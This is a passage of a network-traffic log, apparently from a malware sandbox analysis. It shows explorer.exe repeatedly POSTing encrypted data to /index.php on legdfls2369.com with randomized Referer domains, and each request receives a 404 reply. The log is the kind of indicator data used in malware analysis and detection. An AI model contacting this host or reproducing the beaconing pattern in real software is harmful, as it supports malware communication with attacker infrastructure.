72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49738	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:25.132819891 CET	339	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hejjnvxggxlyfjdo.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 267 Host: legdfls2369.com
Dec 2, 2023 18:02:25.132854939 CET	321	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 9b 02 1f d3 26 f2 fe 75 ef 5f 34 3d Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&u_4=1Ub:8D\4#{RU(KW6K6e\Q_p?hUVU5l6dx6euCfi%l#B)*\PO52ZhJ;fAQ0t"<)Ky1v"PUz
Dec 2, 2023 18:02:25.372579098 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49739	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:25.645690918 CET	339	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://drnnvalavffcpudk.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 110 Host: legdfls2369.com
Dec 2, 2023 18:02:25.645728111 CET	164	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 9a 02 1f d3 26 f2 fe 75 c8 68 11 54 Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&uhTTI*DIcMX$\A5(yH,'%
Dec 2, 2023 18:02:25.881680965 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49740	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:26.144335985 CET	338	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tlkvxjppddxeqay.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 202 Host: legdfls2369.com
Dec 2, 2023 18:02:26.144377947 CET	256	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 99 02 1f d3 26 f2 fe 75 c3 77 5c 37 Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&uw\7E@E65Qxzf2SC(h/fs2O{0[Eg.VK{e9CpxCCZ\2?lT1;J.]9<
Dec 2, 2023 18:02:26.384114981 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49741	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:26.647049904 CET	338	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ydsuwijjbjcnclj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 242 Host: legdfls2369.com
Dec 2, 2023 18:02:26.647088051 CET	296	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 98 02 1f d3 26 f2 fe 75 be 1b 40 07 Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&u@@&8gwVNf0Vq;IHI:!bk7Lty9YkX29Y2hmh}0g3FlDnymk.NNCRi^C`Xjt*!2QzRv7y
Dec 2, 2023 18:02:26.877295017 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49742	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:27.153026104 CET	334	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qyrjkxhfbse.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 309 Host: legdfls2369.com
Dec 2, 2023 18:02:27.153060913 CET	363	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 87 02 1f d3 26 f2 fe 75 ca 50 53 51 Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&uPSQjTjI@NC"[ZZYwy(c'ZHdt~$6)d6e~a~]EzVXgg{"}}tOH+_l@\|QJNeE/hk`? `GUs(
Dec 2, 2023 18:02:27.389074087 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49745	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:27.645921946 CET	338	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://aidcmejwuphhrsx.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 366 Host: legdfls2369.com
Dec 2, 2023 18:02:27.645921946 CET	420	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 86 02 1f d3 26 f2 fe 75 f8 09 4d 4f Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&uMO-.[C9mB6gSIUuI`k^U >Zp&-=CHI bgZ4<-a#eBgkoS->ZX<Sf#b;eA4i?LXR>vhb~
Dec 2, 2023 18:02:27.882545948 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49746	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:28.165792942 CET	335	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jmmlihrnngus.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 188 Host: legdfls2369.com
Dec 2, 2023 18:02:28.165792942 CET	242	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 85 02 1f d3 26 f2 fe 75 bd 02 4b 23 Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&uK#9eEvJ0e!<<;h<"oC.bW)\-7g8"vKVLOR}*qohJGFxn{
Dec 2, 2023 18:02:28.408233881 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 65 67 64 66 6c 73 32 33 36 39 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at legdfls2369.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49747	193.106.174.149	80	4056	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:02:28.676125050 CET	337	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://npvqbvdmljmvog.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 187 Host: legdfls2369.com
Dec 2, 2023 18:02:28.676199913 CET	241	OUT	Data Raw: a4 60 f9 7c fa 45 d5 29 5f c5 3c 80 9b 11 ab 3d c0 da a7 64 f6 87 e6 a6 16 c1 03 f0 79 dd 16 4f c9 3f 45 f2 7a b1 9f 58 dd 23 7b eb 2d e2 f3 9e 89 66 a5 be ac f7 c2 8c 17 63 b6 64 48 a7 3b 1d d4 39 e2 12 d0 66 84 02 1f d3 26 f2 fe 75 dc 58 2f 10 Data Ascii: `\|E)_<=dyO?EzX#{-fcdH;9f&uX/e#^I`:"{L<:m5cJ)gv=uJeTbw}8-4m}n6iV<]
Dec 2, 2023 18:02:28.914844990 CET	641	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:02:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 412 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 